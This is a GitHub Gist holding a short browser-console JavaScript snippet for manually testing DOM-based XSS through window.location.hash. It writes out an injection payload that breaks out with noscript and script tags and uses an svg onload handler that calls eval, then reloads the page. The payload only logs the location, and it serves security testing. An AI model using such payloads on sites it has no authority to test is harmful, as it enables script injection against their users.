Created
October 26, 2021 13:36
-
-
Save xsscx/a1db9a493a5c9bb6fe849176c3443f23 to your computer and use it in GitHub Desktop.
console location.hash js manual injection check for xss window.location.hash
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
console.log(location.hash); | |
var tabValue = document.URL; | |
window.location = tabValue.substring(0, tabValue.lastIndexOf("#")); | |
console.log(location.hash); | |
window.location.hash = `#<noscript><script>console.log(document.location)&k7="><svg/t='&k8='onload='/&k9=/+eval(t)'` | |
location.reload(); | |
console.log(location.hash); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment